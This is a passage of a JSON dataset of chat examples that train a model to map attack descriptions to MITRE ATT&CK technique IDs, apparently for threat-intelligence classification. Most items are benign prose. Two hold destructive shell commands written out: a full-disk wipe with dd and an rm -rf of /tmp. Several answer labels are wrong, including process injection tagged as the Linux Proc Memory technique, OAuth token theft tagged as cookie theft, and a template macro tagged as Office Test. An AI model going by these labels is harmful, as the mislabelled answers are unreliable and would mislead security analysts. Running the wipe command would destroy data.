            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the cleanup phase, the intrusion set used 'rm -rf /tmp/*' to remove temporary files that could contain forensic artifacts."
            },
            {
                "role": "assistant",
                "content": "T1070.004 - Indicator Removal: File Deletion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exploit enumerates USB devices and looks for virtual USB identifiers to decide whether it is in a sandbox."
            },
            {
                "role": "assistant",
                "content": "T1497 - Virtualization/Sandbox Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware attempts to access the virtual disk file '\\\\.\\PhysicalDrive0' and monitors response timing to infer if it is a virtualized environment."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a deserialization bug in a Java applet, causing the client to run malicious JavaScript upon loading the applet."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary extracts the list of installed browser extensions and their versions to identify possible vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1592.004 - Gather Victim Host Information: Client Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the attack, the malicious actor used \"wmic\" commands to remotely query the registry for credential storage locations."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By embedding {{ .Process }} syntax into a vulnerable Go text/template, the adversary forces the server to evaluate and run arbitrary system commands."
            },
            {
                "role": "assistant",
                "content": "T1221 - Template Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use Bluetooth connections to transfer stolen files from compromised laptops to nearby smartphones."
            },
            {
                "role": "assistant",
                "content": "T1011.001 - Exfiltration Over Other Network Medium: Exfiltration Over Bluetooth"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a script that logs mouse movements and clicks to infer entered passwords."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script encrypts its beacon messages with a symmetric key derived from a password hash."
            },
            {
                "role": "assistant",
                "content": "T1573.001 - Encrypted Channel: Symmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploited an outdated WordPress theme to gain admin control and posted a defacement banner across all site pages."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware extracts the list of Unix groups from /etc/group to identify users with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1069 - Permission Groups Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes the PowerShell ConvertTo-Json cmdlet followed by Base64 encoding for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script calls 'Get-Process' in PowerShell to list all processes and their associated modules."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script runs `dd if=/dev/zero of=/dev/sda bs=1M` to overwrite the entire hard drive, wiping all data."
            },
            {
                "role": "assistant",
                "content": "T1561 - Disk Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers take over an existing high‑reputation domain by exploiting a vulnerable domain registrar account."
            },
            {
                "role": "assistant",
                "content": "T1584.001 - Compromise Infrastructure: Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script calls the authentication API to generate an MFA push, attempting to trick the user into approving it."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious program mimics the legitimate 'svchost' process by naming its executable svchost.exe and setting it as a system service."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware accesses /proc/[pid]/environ files of services with elevated privileges to extract embedded passwords and secret tokens."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers infiltrated the development environment of a vendor, modifying the source of a widely‑deployed library to exfiltrate data from downstream users."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion modifies the forest trust to include a malicious child domain for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors set up a malicious OAuth application to harvest user tokens."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs a Python utility to decode base64-encoded command scripts hidden in a malicious document."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware writes malicious shellcode into the address space of a legitimate process using WriteProcessMemory and then creates a remote thread to execute it."
            },
            {
                "role": "assistant",
                "content": "T1055.009 - Process Injection: Proc Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor tampers with the antivirus signature update process, inserting a bogus indicator list that omits the malware's hash."
            },
            {
                "role": "assistant",
                "content": "T1562.006 - Impair Defenses: Indicator Blocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the Windows GetGeoLocation function to determine the physical location of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a crafted SOAP request, the malicious actor initiates a WinRM connection to execute arbitrary commands on the victim's workstation."
            },
            {
                "role": "assistant",
                "content": "T1021.006 - Remote Services: Windows Remote Management"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials are used to assign the 'system:masters' role to a user account in a container environment."
            },
            {
                "role": "assistant",
                "content": "T1098.006 - Account Manipulation: Additional Container Cluster Roles"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker establishes an SSH connection to the victim's Linux host and runs PowerShell scripts to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leverages covert channel techniques by embedding data in DHCP lease renewal messages to contact C2."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group modifies the Android boot image (boot.img) to load a custom rootkit."
            },
            {
                "role": "assistant",
                "content": "T1601 - Modify System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a forged SSL certificate that mimics the organization's web server, allowing man-in-the-middle decryption of traffic."
            },
            {
                "role": "assistant",
                "content": "T1656 - Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employed a ping sweep across the victim’s 198.51.100.0/23 IP block to discover which addresses were online."
            },
            {
                "role": "assistant",
                "content": "T1595.001 - Active Scanning: Scanning IP Blocks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By rolling back a GCP Compute Engine instance to a prior image, the threat actor regained access after the original instance was taken down."
            },
            {
                "role": "assistant",
                "content": "T1578.004 - Modify Cloud Compute Infrastructure: Revert Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures the securityd process snapshot to extract password data."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the digital signature of a popular messaging app binary to bypass security checks and spread malware."
            },
            {
                "role": "assistant",
                "content": "T1554 - Compromise Client Software Binary"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor executes a Python script that scans IP ranges and queries each machine for available network shares via the SMB protocol."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised installer runs MSBuild in silent mode with a tampered .vbproj file that executes a PowerShell command to download additional malware."
            },
            {
                "role": "assistant",
                "content": "T1127.001 - Trusted Developer Utilities Proxy Execution: MSBuild"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email attachment executed a script that staged a new keylogger by uploading it to the victim's AppData folder."
            },
            {
                "role": "assistant",
                "content": "T1608.002 - Stage Capabilities: Upload Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker leverages a compromised admin account to alter the Software Restriction Policies, relaxing code signing requirements."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs a process injection by abusing the Windows Transactional NTFS (TxF) feature to run malicious code under a legitimate process name."
            },
            {
                "role": "assistant",
                "content": "T1055.013 - Process Injection: Process Doppelgänging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits ServiceNow integration to list cloud-based permission groups for lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses schtasks.exe to establish persistence by scheduling a command to execute at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder gathers data by browsing open web pages and querying DNS records associated with the target."
            },
            {
                "role": "assistant",
                "content": "T1593 - Search Open Websites/Domains"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised website served an HTML page that used JavaScript to fetch and decode a hidden payload from the page’s comments, then executes it via a hidden iframe."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors place base64‑encoded passwords in the registry hive HKCU\\Software\\Classes\\CLSID to persist secret data."
            },
            {
                "role": "assistant",
                "content": "T1552.002 - Unsecured Credentials: Credentials in Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Normal.dotm template to include a macro that executes a reverse shell upon opening any new Word document."
            },
            {
                "role": "assistant",
                "content": "T1137.002 - Office Application Startup: Office Test"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a trojan that silently copies itself onto any attached USB flash drive, exploiting the Removable Media replication technique to spread across isolated networks."
            },
            {
                "role": "assistant",
                "content": "T1091 - Replication Through Removable Media"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary automates queries against transparency logs and certificate directories to compile a list of target domains."
            },
            {
                "role": "assistant",
                "content": "T1596.003 - Search Open Technical Databases: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries replace a legitimate installer executable with a malicious version that has weak file permissions, allowing them to gain execution when the installer runs."
            },
            {
                "role": "assistant",
                "content": "T1574.005 - Hijack Execution Flow: Executable Installer File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leveraged a stolen code-signing certificate to sign malicious binaries and bypass application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker scans public Content Delivery Network (CDN) directories to enumerate the target’s IP address ranges and domain names."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses the container runtime's CLI to start a new container with elevated privileges, bypassing security controls."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors leverage the IIS URL Rewrite module to redirect victim traffic to a phishing site they control."
            },
            {
                "role": "assistant",
                "content": "T1505.004 - Server Software Component: IIS Components"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a compromised Azure Active Directory account to start a Remote Desktop Protocol (RDP) session via Azure Virtual Desktop, directly connecting to a virtual machine in the cloud."
            },
            {
                "role": "assistant",
                "content": "T1021.008 - Remote Services: Direct Cloud VM Connections"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor inserts misleading instructions that cause a debugger to misinterpret the flow."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm spreads and initiates rapid process forking, causing OS resource exhaustion and denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.001 - Endpoint Denial of Service: OS Exhaustion Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion employs the native Windows MMC utility to run a malicious PowerShell script hidden within a custom MMC snap‑in."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code installs a driver that is loaded via the Service Control Manager at boot, then injects into LSASS."
            },
            {
                "role": "assistant",
                "content": "T1547.008 - Boot or Logon Autostart Execution: LSASS Driver"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cloud‑based attacker steals a refresh token from a compromised application and uses it to obtain new access tokens."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By modifying the content of a legitimate PDF file, the attacker includes a hidden script that executes when opened."
            },
            {
                "role": "assistant",
                "content": "T1659 - Content Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A worm spreads across the network and systematically deletes temporary files to free space for its payload."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a software maintenance window, the attacker injects a trojan into the signed system image of an industrial control system."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker performed WHOIS lookups on suspicious IPs to gather owner name, organization, and contact email for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1596.002 - Search Open Technical Databases: WHOIS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary appends .txt to a .dll file, making it look like a harmless text file."
            },
            {
                "role": "assistant",
                "content": "T1036.007 - Masquerading: Double File Extension"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits an XPC service vulnerability to execute arbitrary commands in the context of the System Daemon."
            },
            {
                "role": "assistant",
                "content": "T1559.003 - Inter-Process Communication: XPC Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker implements timing checks that cause the malicious code to exit when execution slows down, indicating a debugging environment."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker injects a DLL that hooks the LogonUserW API to capture usernames and passwords entered by the victim."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using SSH agent forwarding, the adversary leverages the victim’s credentials to open additional sessions on downstream hosts."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider changes the domain's password complexity requirements to reduce password strength."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign drops a downloader that searches for saved passwords in Chrome, Firefox, and Edge and exfiltrates them."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates a fake login page for a popular cloud service, capturing credentials from unsuspecting users."
            },
            {
                "role": "assistant",
                "content": "T1598.003 - Phishing for Information: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker deploys a custom eBPF socket filter to intercept and redirect network packets to a hidden command-and-control server."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The ransomware dropper was compiled with all symbols stripped, resulting in a small, obfuscated payload that bypasses heuristics."
            },
            {
                "role": "assistant",
                "content": "T1027.008 - Obfuscated Files or Information: Stripped Payloads"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects shellcode by hooking the KernelCallbackTable, redirecting legitimate callbacks to attacker payloads."
            },
            {
                "role": "assistant",
                "content": "T1574.013 - Hijack Execution Flow: KernelCallbackTable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware extracted configuration files and synced them with a remote GitHub repository via the Git protocol over TLS."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
